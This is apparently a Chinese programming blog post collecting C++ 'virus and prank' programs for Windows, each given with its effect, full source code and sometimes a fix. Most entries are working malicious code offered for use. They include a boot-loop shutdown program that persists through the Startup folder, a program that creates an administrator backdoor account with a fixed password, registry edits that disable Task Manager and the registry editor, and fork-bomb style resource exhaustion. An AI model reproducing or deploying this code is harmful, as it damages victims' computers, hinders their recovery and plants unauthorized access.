首页 > 编程语言 >c++病毒/恶搞代码大全

c++病毒/恶搞代码大全

时间:2024-09-04 09:24:26浏览次数:13  
标签:main NULL int c++ char file include 恶搞 大全

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

0.
效果:无限生成cmd

解决方法:关闭程序即可

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}
1.
效果:使鼠标所点应用消失

解决方法:暂无

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    } 
}
2.
效果:使鼠标乱飞

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    } 
}
3.
效果:立刻或定时关机

解决方法:cmd(Win+R,输入:cmd),输入shutdown -a

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown -s -t 60");->1分钟
    system("shutdown -p");->立刻
}
4.
效果:卡死

注意:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}
5.
效果:卡死

警告:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}
警告:从6.开始为危险/永久性程序,请慎重使用
6.
效果:开机即关机

提示:操作启动项,可能被杀毒软件拦截

解决方法:杀毒软件

Code:(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}
7.
效果:添加用户

提示:可能被杀毒软件拦截

解决方法:杀毒软件

Code:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
    USER_INFO_1 user;
    user.usri1_name = UserName;
    user.usri1_password = Password;
    user.usri1_priv = USER_PRIV_USER;
    user.usri1_home_dir = NULL;
    user.usri1_comment = NULL;
    user.usri1_flags = UF_SCRIPT;
    user.usri1_script_path = NULL;
    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
        printf("创建用户完成 \n");
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = user.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
        printf("添加到组完成 \n");
}
void EnumUser()
{
    LPUSER_INFO_0 pBuf = NULL;
    LPUSER_INFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    DWORD i;
    NET_API_STATUS nStatus;
    LPTSTR pszServerName = NULL;
 
    do
    {
        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
 
        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != NULL);
 
                    if (pTmpBuf == NULL)
                    {
                        break;
                    }
                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                    pTmpBuf++;
                }
            }
        }
 
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA);
    NetApiBufferFree(pBuf);
}
 
int main(int argc, char *argv[])
{
    AddUser(L"lyshark", L"123123");
    EnumUser();
 
    system("pause");
    return 0;
}
8.
效果:禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}
9.
效果:禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}
10.
效果:桌面壁纸

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}
11.
效果:不可删除文件

解决方法:将51-52行换成52行

Code:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
 
    strcat(file, "\\anti...\\");
    RemoveDirectory(file);
 
    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
    char *Fuck[4] = { "你", "好", "世", "界" };
    int FuckLen = sizeof(Fuck) / sizeof(int);
 
    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
 
    for (int x = 0; x < FuckLen; x++)
    {
        SetImmunity("c://", Fuck[x]);
        //ClearImmunity("c://", Fuck[x]);
    }
 
    system("pause");
    return 0;

}

标签:main,NULL,int,c++,char,file,include,恶搞,大全
From: https://blog.csdn.net/2401_87099587/article/details/141857954

相关文章

  • 一个C++的 线程基类
      #include<iostream>#include<thread>#include<mutex>#include<condition_variable>#include<atomic>classThreadBase{public:ThreadBase():thread_(nullptr),stopFlag_(false){}virtual~ThreadBase(){......
  • 恶搞关机代码,仅供娱乐
    想要使用恶搞关机代码我们得先了解以下知识:1.系统关机命令(Windows系统)shutdown-s-t60shuteown这个是windows系统的关机命令。-s是设置关机。-t是倒计时关机。60是60秒后关机。shutdown-aWindows系统的取消关机命令。2.system函数system函数是c语言中......
  • C语言零基础入门教程——02 C语言开发环境的配置(Dev C++超详细安装教程)
    文章目录前言DevC++安装一、软件介绍二、软件下载三、软件安装结语前言编写代码一般需要在特定的工具即集成开发环境(IDE)上进行,它可以帮助程序员更高效地编写一些程序,因此在编写程序之前,我们需要安装相应的开发工具从而配置开发环境,考虑到高校教学都广泛使用DevC+......
  • c++实现生产者&消费者的供需关系
    一、生产者&消费者模式生产者-消费者模式(Producer-ConsumerPattern)是一种常见的并发设计模式,这种模式最常见,所以把它单独拿出来,这种模式用于处理生产者和消费者之间的协调问题。生产者和消费者之间不直接关联或依赖,而是用一个第三方来协调双方的供需关系。这种模式解决了生产......
  • Linux C++ 开发7 - GDB常用命令汇总(你想了解的都在这)
    1.运行命令2.设置断点3.查看源码4.打印表达式5.查看运行信息5.1.设置和查看运行参数的Demo6.分割窗口7.参考文档上一篇《LinuxC++开发6-GDB调试》中我们讲解了GDB的调试流程和常用的调试方法。GDB的调试指令众多,我们这里针对常用的指令做一个汇总(按功能......
  • Linux C++ 开发7 - GDB常用命令汇总(你想了解的都在这)
    1.运行命令2.设置断点3.查看源码4.打印表达式5.查看运行信息5.1.设置和查看运行参数的Demo6.分割窗口7.参考文档上一篇《LinuxC++开发6-GDB调试》中我们讲解了GDB的调试流程和常用的调试方法。GDB的调试指令众多,我们这里针对常用的指令做一个汇总(按功能分......
  • 【C++】_vector定义、_vector常用方法解析
    不管心情如何,不论今天过得怎么样,无论身在何方,请记得...微笑!......
  • C++STL
    1.1STL初识STL(StandardTemplateLibrary,标准模板库)STL从广义上分为:容器(container)算法(algorithm)迭代器(iterator)容器和算法之间通过迭代器进行无缝连接STL几乎所有代码都采用了模板类或者模板函数1.2STL六大组件STL大体分为六大组件,分别是:容器、算法、迭代器、仿函数、适配器......
  • c++
    1 C++概述1.1 C++两大编程思想1.1.1 面向对象  泛型编程1.2 C++98标准2 C++书写helloworld2.1 包含头文件  #include<iostream>标准输入输出头文件2.2 usingnamespacestd;使用标准命名空间2.3 cout<<“helloworld”<<endl; endline;2.4 面向对象三大特......
  • (D卷,100分)- 堆栈中的剩余数字(Java & JS & Python&C&C++)
    题目描述向一个空栈中依次存入正整数,假设入栈元素n(1<=n<=2^31-1)按顺序依次为nx…n4、n3、n2、n1,每当元素入栈时,如果n1=n2+…+ny(y的范围[2,x],1<=x<=1000),则n1~ny全部元素出栈,重新入栈新元素m(m=2*n1)。如:依次向栈存入6、1、2、3,当存入6、1、2时,栈底......